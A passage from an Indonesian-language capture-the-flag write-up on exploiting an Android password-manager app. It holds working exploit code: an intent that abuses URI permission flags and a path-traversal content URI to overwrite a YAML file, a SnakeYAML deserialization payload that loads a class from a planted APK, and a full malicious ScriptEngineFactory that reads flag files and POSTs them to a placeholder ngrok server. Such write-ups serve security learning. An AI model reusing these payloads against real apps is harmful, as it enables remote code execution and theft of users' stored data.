&#125;</span><br><span class="line">        <span class="keyword">while</span> (itr.hasNext()) &#123;</span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">                <span class="keyword">try</span> &#123;</span><br><span class="line">                    <span class="type">ScriptEngineFactory</span> <span class="variable">fact</span> <span class="operator">=</span> (ScriptEngineFactory) itr.next();</span><br><span class="line">                    <span class="built_in">this</span>.engineSpis.add(fact);</span><br><span class="line">                &#125; <span class="keyword">catch</span> (ServiceConfigurationError err) &#123;</span><br><span class="line">                    System.err.println(<span class="string">&quot;ScriptEngineManager providers.next(): &quot;</span> + err.getMessage());</span><br><span class="line">                &#125;</span><br><span class="line">            &#125; <span class="keyword">catch</span> (ServiceConfigurationError err2) &#123;</span><br><span class="line">                System.err.println(<span class="string">&quot;ScriptEngineManager providers.hasNext(): &quot;</span> + err2.getMessage());</span><br><span class="line">                <span class="keyword">return</span>;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125; <span class="keyword">catch</span> (ServiceConfigurationError err3) &#123;</span><br><span class="line">        System.err.println(<span class="string">&quot;Can&#x27;t find ScriptEngineFactory providers: &quot;</span> + err3.getMessage());</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></div><p>Dari kode diatas, kita bisa melihat bahwa <code>ScriptEngineManager</code> menerima <code>ClassLoader</code> sebagai argument dan dia akan melakukan invoke dari class yang kita load dari <code>ClassLoader</code> tersebut.</p><p>Pada bagian <code>initEngines</code> ini, <code>CustomClassLoader</code> akan digunakan untuk mencari dan memuat semua class yang mengimplementasikan <code>ScriptEngineFactory</code>. Jika salah satu class dalam <code>mal.apk</code> mengimplementasikan interface tersebut, maka constructor dari class tersebut akan dipanggil saat baris berikut dieksekusi:</p><div class="code-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">ScriptEngineFactory</span> <span class="variable">fact</span> <span class="operator">=</span> itr.next();</span><br></pre></td></tr></table></figure></div><p>Berikut ini kode dari ScriptEngineFactory:</p><div class="code-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> javax.script;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.util.List;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* loaded from: classes.dex */</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">ScriptEngineFactory</span> &#123;</span><br><span class="line">    String <span class="title function_">getEngineName</span><span class="params">()</span>;</span><br><span class="line"></span><br><span class="line">    String <span class="title function_">getEngineVersion</span><span class="params">()</span>;</span><br><span class="line"></span><br><span class="line">    List&lt;String&gt; <span class="title function_">getExtensions</span><span class="params">()</span>;</span><br><span class="line"></span><br><span class="line">    String <span class="title function_">getLanguageName</span><span class="params">()</span>;</span><br><span class="line"></span><br><span class="line">    String <span class="title function_">getLanguageVersion</span><span class="params">()</span>;</span><br><span class="line"></span><br><span class="line">    String <span class="title function_">getMethodCallSyntax</span><span class="params">(String str, String str2, String... strArr)</span>;</span><br><span class="line"></span><br><span class="line">    List&lt;String&gt; <span class="title function_">getMimeTypes</span><span class="params">()</span>;</span><br><span class="line"></span><br><span class="line">    List&lt;String&gt; <span class="title function_">getNames</span><span class="params">()</span>;</span><br><span class="line"></span><br><span class="line">    String <span class="title function_">getOutputStatement</span><span class="params">(String str)</span>;</span><br><span class="line"></span><br><span class="line">    Object <span class="title function_">getParameter</span><span class="params">(String str)</span>;</span><br><span class="line"></span><br><span class="line">    String <span class="title function_">getProgram</span><span class="params">(String... strArr)</span>;</span><br><span class="line"></span><br><span class="line">    ScriptEngine <span class="title function_">getScriptEngine</span><span class="params">()</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>Yang berarti kita perlu membuat constructor yang akan menerapkan interface <code>ScriptEngineFactory</code> dan mengimplementasikan semua metode yang diperlukan, dan kemudian memanggil <code>CustomClassLoader</code> didalam <code>ScriptEngineManager</code> untuk meng-eksekusi constructor tersebut.</p><div class="code-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">new</span> <span class="title class_">ScriptEngineManager</span>(<span class="keyword">new</span> <span class="title class_">CustomClassLoader</span>(<span class="string">&quot;mal.apk&quot;</span>));</span><br></pre></td></tr></table></figure></div><p>Kode diatas akan memuat semua class yang mengimplementasikan <code>ScriptEngineFactory</code> dari <code>mal.apk</code> dan memanggil constructor dari class tersebut.</p><h2 id="Exploitation"><a href="#Exploitation" class="headerlink" title="Exploitation"></a>Exploitation</h2><p>Dari <code>CalculatorActivity</code> Ini bisa kita manfaatkan untuk mengakses content provider yang sebelumnya tidak bisa kita akses. Kita bisa membypass content provider yang memiliki <code>exported=&quot;false&quot;</code> dengan menggunakan <code>FLAG_GRANT_WRITE_URI_PERMISSION</code> untuk write file dan atau <code>FLAG_GRANT_READ_URI_PERMISSION</code> untuk read file pada intent yang kita kirimkan.</p><div class="code-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">startIntentYAML</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="type">Intent</span> <span class="variable">intent</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Intent</span>(<span class="string">&quot;android.intent.action.SEND&quot;</span>);</span><br><span class="line">    intent.setClassName(<span class="string">&quot;com.aimardcr.pwdmanager&quot;</span>, <span class="string">&quot;com.aimardcr.pwdmanager.CalculatorActivity&quot;</span>);</span><br><span class="line">    intent.putExtra(<span class="string">&quot;operator&quot;</span>, <span class="string">&#x27;/&#x27;</span>);</span><br><span class="line">    intent.putExtra(<span class="string">&quot;right&quot;</span>, <span class="number">0</span>);</span><br><span class="line">    intent.setData(Uri.parse(<span class="string">&quot;content://com.aimardcr.pwdmanager/%2E%2E/files/pwds.yml&quot;</span>));</span><br><span class="line">    intent.addFlags(Intent.FLAG_GRANT_WRITE_URI_PERMISSION | Intent.FLAG_GRANT_READ_URI_PERMISSION);</span><br><span class="line">    startActivityForResult(intent, <span class="number">1</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Override</span></span><br><span class="line"><span class="keyword">protected</span> <span class="keyword">void</span> <span class="title function_">onActivityResult</span><span class="params">(<span class="type">int</span> requestCode, <span class="type">int</span> resultCode, <span class="meta">@Nullable</span> Intent data)</span> &#123;</span><br><span class="line">    <span class="built_in">super</span>.onActivityResult(requestCode, resultCode, data);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (data != <span class="literal">null</span>) &#123;</span><br><span class="line">        <span class="type">Uri</span> <span class="variable">uri</span> <span class="operator">=</span> data.getData();</span><br><span class="line">        <span class="keyword">if</span> (uri != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">if</span> (requestCode == <span class="number">1</span> &amp;&amp; resultCode == RESULT_OK) &#123;</span><br><span class="line">                Log.d(<span class="string">&quot;: LOG - Malicious :&quot;</span>, <span class="string">&quot;Received data from first intent: &quot;</span> + uri);</span><br><span class="line">                readYAML(uri);</span><br><span class="line">                writeYAML(uri);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            Log.d(<span class="string">&quot;: LOG - Malicious :&quot;</span>, <span class="string">&quot;No URI received.&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        Log.d(<span class="string">&quot;: LOG - Malicious :&quot;</span>, <span class="string">&quot;Intent data is null.&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">readYAML</span><span class="params">(Uri uri)</span> &#123;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        <span class="type">ContentResolver</span> <span class="variable">contentResolver</span> <span class="operator">=</span> <span class="built_in">this</span>.getContentResolver();</span><br><span class="line">        <span class="type">StringBuilder</span> <span class="variable">stringBuilder</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StringBuilder</span>();</span><br><span class="line">        <span class="type">InputStream</span> <span class="variable">inputStream</span> <span class="operator">=</span> contentResolver.openInputStream(uri);</span><br><span class="line">        <span class="type">BufferedReader</span> <span class="variable">reader</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">BufferedReader</span>(<span class="keyword">new</span> <span class="title class_">InputStreamReader</span>(inputStream));</span><br><span class="line"></span><br><span class="line">        String line;</span><br><span class="line">        <span class="keyword">while</span> ((line = reader.readLine()) != <span class="literal">null</span>) &#123;</span><br><span class="line">            stringBuilder.append(line).append(<span class="string">&quot;\n&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        reader.close();</span><br><span class="line">        Log.d(<span class="string">&quot;: LOG - Malicious :&quot;</span>, <span class="string">&quot;RESULT: &quot;</span> + stringBuilder.toString());</span><br><span class="line">    &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">        e.printStackTrace();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">writeYAML</span><span class="params">(Uri uri)</span> &#123;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        <span class="type">ContentResolver</span> <span class="variable">contentResolver</span> <span class="operator">=</span> <span class="built_in">this</span>.getContentResolver();</span><br><span class="line">        <span class="type">OutputStream</span> <span class="variable">outputStream</span> <span class="operator">=</span> contentResolver.openOutputStream(uri);</span><br><span class="line"></span><br><span class="line">        <span class="type">String</span> <span class="variable">yamlPayload</span> <span class="operator">=</span></span><br><span class="line">                <span class="string">&quot;\npayload: !!javax.script.ScriptEngineManager [!!com.aimardcr.pwdmanager.CustomClassLoader [\&quot;/data/data/com.aimardcr.pwdmanager/files/mal.apk\&quot;]]\n&quot;</span>;</span><br><span class="line"></span><br><span class="line">        outputStream.write(yamlPayload.getBytes());</span><br><span class="line">        outputStream.close();</span><br><span class="line">    &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">        e.printStackTrace();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>Dapat diperhatikan bahwa kita menggunakan <code>FLAG_GRANT_WRITE_URI_PERMISSION</code> untuk menulis file <code>pwds.yml</code> dan <code>FLAG_GRANT_READ_URI_PERMISSION</code> untuk membaca file <code>pwds.yml</code>.<br>Dan kita bisa melihat bahwa kita menulis payload yaml yang dimana akan di-load oleh <code>SnakeYAML</code>:</p><div class="code-container" data-rel="Yaml"><figure class="iseeu highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">payload:</span> <span class="type">!!javax.script.ScriptEngineManager</span> [<span class="type">!!com.aimardcr.pwdmanager.CustomClassLoader</span> [<span class="string">&quot;mal.apk&quot;</span>]]</span><br></pre></td></tr></table></figure></div><p>Payload ini akan melakukan load class dari <code>mal.apk</code> yang mengimplementasikan <code>ScriptEngineFactory</code> dan kemudian memanggil constructor dari class tersebut.</p><p>Kemudian kita bisa membuat <code>mal.apk</code> yang mengimplementasikan <code>ScriptEngineFactory</code>:</p><div class="code-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.lbyte.pwdmanager_exp;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> javax.script.ScriptEngine;</span><br><span class="line"><span class="keyword">import</span> javax.script.ScriptEngineFactory;</span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"><span class="keyword">import</span> java.net.HttpURLConnection;</span><br><span class="line"><span class="keyword">import</span> java.net.URL;</span><br><span class="line"><span class="keyword">import</span> java.nio.file.*;</span><br><span class="line"><span class="keyword">import</span> java.util.Arrays;</span><br><span class="line"><span class="keyword">import</span> java.util.List;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">BadScriptEngineFactory</span> <span class="keyword">implements</span> <span class="title class_">ScriptEngineFactory</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Static block to trigger the exploit and send the flag</span></span><br><span class="line">    <span class="keyword">static</span> &#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            sendRequest(<span class="string">&quot;http://NGROK_SERVER/trigger&quot;</span>);</span><br><span class="line">            System.out.println(<span class="string">&quot;Triggered the exploit&quot;</span>);</span><br><span class="line"></span><br><span class="line">            <span class="type">String</span> <span class="variable">flagContent</span> <span class="operator">=</span> readFlagFile(<span class="string">&quot;/data/data/com.aimardcr.pwdmanager/files/&quot;</span>);</span><br><span class="line">            <span class="keyword">if</span> (flagContent != <span class="literal">null</span>) &#123;</span><br><span class="line">                sendFlagToServer(<span class="string">&quot;http://NGROK_SERVER/flag&quot;</span>, flagContent);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            e.printStackTrace();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Function to send HTTP GET request</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">sendRequest</span><span class="params">(String urlString)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">URL</span> <span class="variable">url</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">URL</span>(urlString);</span><br><span class="line">        <span class="type">HttpURLConnection</span> <span class="variable">connection</span> <span class="operator">=</span> (HttpURLConnection) url.openConnection();</span><br><span class="line">        connection.setRequestMethod(<span class="string">&quot;GET&quot;</span>);</span><br><span class="line">        connection.setConnectTimeout(<span class="number">5000</span>);</span><br><span class="line">        connection.setReadTimeout(<span class="number">5000</span>);</span><br><span class="line"></span><br><span class="line">        <span class="type">int</span> <span class="variable">responseCode</span> <span class="operator">=</span> connection.getResponseCode();</span><br><span class="line">        System.out.println(<span class="string">&quot;Request sent, response code: &quot;</span> + responseCode);</span><br><span class="line">        connection.disconnect();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Function to read the flag file</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> String <span class="title function_">readFlagFile</span><span class="params">(String directoryPath)</span> &#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="type">Path</span> <span class="variable">dir</span> <span class="operator">=</span> Paths.get(directoryPath);</span><br><span class="line">            <span class="keyword">try</span> (DirectoryStream&lt;Path&gt; stream = Files.newDirectoryStream(dir, <span class="string">&quot;flag*.txt&quot;</span>)) &#123;</span><br><span class="line">                <span class="keyword">for</span> (Path entry : stream) &#123;</span><br><span class="line">                    <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">String</span>(Files.readAllBytes(entry)); <span class="comment">// Return the first match</span></span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125; <span class="keyword">catch</span> (IOException e) &#123;</span><br><span class="line">            System.err.println(<span class="string">&quot;Failed to read flag file: &quot;</span> + e.getMessage());</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Function to send the flag content to the server</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">sendFlagToServer</span><span class="params">(String serverUrl, String flagContent)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">URL</span> <span class="variable">url</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">URL</span>(serverUrl);</span><br><span class="line">        <span class="type">HttpURLConnection</span> <span class="variable">connection</span> <span class="operator">=</span> (HttpURLConnection) url.openConnection();</span><br><span class="line">        connection.setRequestMethod(<span class="string">&quot;POST&quot;</span>);</span><br><span class="line">        connection.setDoOutput(<span class="literal">true</span>);</span><br><span class="line">        connection.setRequestProperty(<span class="string">&quot;Content-Type&quot;</span>, <span class="string">&quot;application/x-www-form-urlencoded&quot;</span>);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">try</span> (<span class="type">OutputStream</span> <span class="variable">os</span> <span class="operator">=</span> connection.getOutputStream()) &#123;</span><br><span class="line">            <span class="type">String</span> <span class="variable">data</span> <span class="operator">=</span> <span class="string">&quot;flag=&quot;</span> + flagContent;</span><br><span class="line">            os.write(data.getBytes());</span><br><span class="line">            os.flush();</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="type">int</span> <span class="variable">responseCode</span> <span class="operator">=</span> connection.getResponseCode();</span><br><span class="line">        System.out.println(<span class="string">&quot;Flag sent, response code: &quot;</span> + responseCode);</span><br><span class="line">        connection.disconnect();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">getEngineName</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;BadScriptEngine&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">getEngineVersion</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;1.0&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> List&lt;String&gt; <span class="title function_">getExtensions</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> Arrays.asList(<span class="string">&quot;bad&quot;</span>, <span class="string">&quot;exploit&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> List&lt;String&gt; <span class="title function_">getMimeTypes</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> Arrays.asList(<span class="string">&quot;application/x-bad&quot;</span>, <span class="string">&quot;application/x-exploit&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> List&lt;String&gt; <span class="title function_">getNames</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> Arrays.asList(<span class="string">&quot;badscript&quot;</span>, <span class="string">&quot;exploitlang&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">getLanguageName</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;ExploitLang&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">getLanguageVersion</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;1.0&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> Object <span class="title function_">getParameter</span><span class="params">(String key)</span> &#123;</span><br><span class="line">        <span class="keyword">switch</span> (key) &#123;</span><br><span class="line">            <span class="keyword">case</span> ScriptEngine.ENGINE:</span><br><span class="line">                <span class="keyword">return</span> getEngineName();</span><br><span class="line">            <span class="keyword">case</span> ScriptEngine.ENGINE_VERSION:</span><br><span class="line">                <span class="keyword">return</span> getEngineVersion();</span><br><span class="line">            <span class="keyword">case</span> ScriptEngine.LANGUAGE:</span><br><span class="line">                <span class="keyword">return</span> getLanguageName();</span><br><span class="line">            <span class="keyword">case</span> ScriptEngine.LANGUAGE_VERSION:</span><br><span class="line">                <span class="keyword">return</span> getLanguageVersion();</span><br><span class="line">            <span class="keyword">case</span> ScriptEngine.NAME:</span><br><span class="line">                <span class="keyword">return</span> getNames().get(<span class="number">0</span>);</span><br><span class="line">            <span class="keyword">case</span> <span class="string">&quot;THREADING&quot;</span>:</span><br><span class="line">                <span class="keyword">return</span> <span class="string">&quot;MULTITHREADED&quot;</span>;</span><br><span class="line">            <span class="keyword">default</span>:</span><br><span class="line">                <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">getMethodCallSyntax</span><span class="params">(String obj, String m, String... args)</span> &#123;</span><br><span class="line">        <span class="type">StringBuilder</span> <span class="variable">syntax</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StringBuilder</span>(obj + <span class="string">&quot;.&quot;</span> + m + <span class="string">&quot;(&quot;</span>);</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; args.length; i++) &#123;</span><br><span class="line">            syntax.append(args[i]);</span><br><span class="line">            <span class="keyword">if</span> (i &lt; args.length - <span class="number">1</span>) syntax.append(<span class="string">&quot;, &quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        syntax.append(<span class="string">&quot;)&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> syntax.toString();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">getOutputStatement</span><span class="params">(String toDisplay)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;System.out.println(\&quot;&quot;</span> + toDisplay + <span class="string">&quot;\&quot;);&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">getProgram</span><span class="params">(String... statements)</span> &#123;</span><br><span class="line">        <span class="type">StringBuilder</span> <span class="variable">program</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StringBuilder</span>();</span><br><span class="line">        <span class="keyword">for</span> (String statement : statements) &#123;</span><br><span class="line">            program.append(statement).append(<span class="string">&quot;;\n&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> program.toString();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> ScriptEngine <span class="title function_">getScriptEngine</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>Dapat diperhatikan pada kode diatas bahwa kita melakukan HTTP GET request ke <code>http://NGROK_SERVER/trigger</code> dan membaca file flag yang berawalan <code>flag</code> dan mengirimkan isinya ke <code>http://NGROK_SERVER/flag</code>.</p><p>Tetapi hal yang paling penting adalah dikode diatas melakukan implementasi dari <code>ScriptEngineFactory</code> yang dimana akan dipanggil oleh <code>ScriptEngineManager</code> untuk melakukan remote code execution.</p><p>Kemudian kita bisa merubah hasil build dari <code>mal.apk</code> dengan menggunakan <code>apktool</code> lalu rubah isi dari <code>META-INF/services/javax.script.ScriptEngineFactory</code> menjadi <code>com.lbyte.mal.BadScriptEngineFactory</code> dan kemudian kita rebuild apk tersebut, agar ketika dijalankan <code>ScriptEngineManager</code> akan memanggil class <code>BadScriptEngineFactory</code> yang kita buat.</p><p>Selanjutnya adalah untuk melakukan write mal.apk ini ke dalam folder <code>/files/</code>, kita bisa mengconvert file <code>mal.apk</code> ini ke dalam hex dan kemudian menconvert 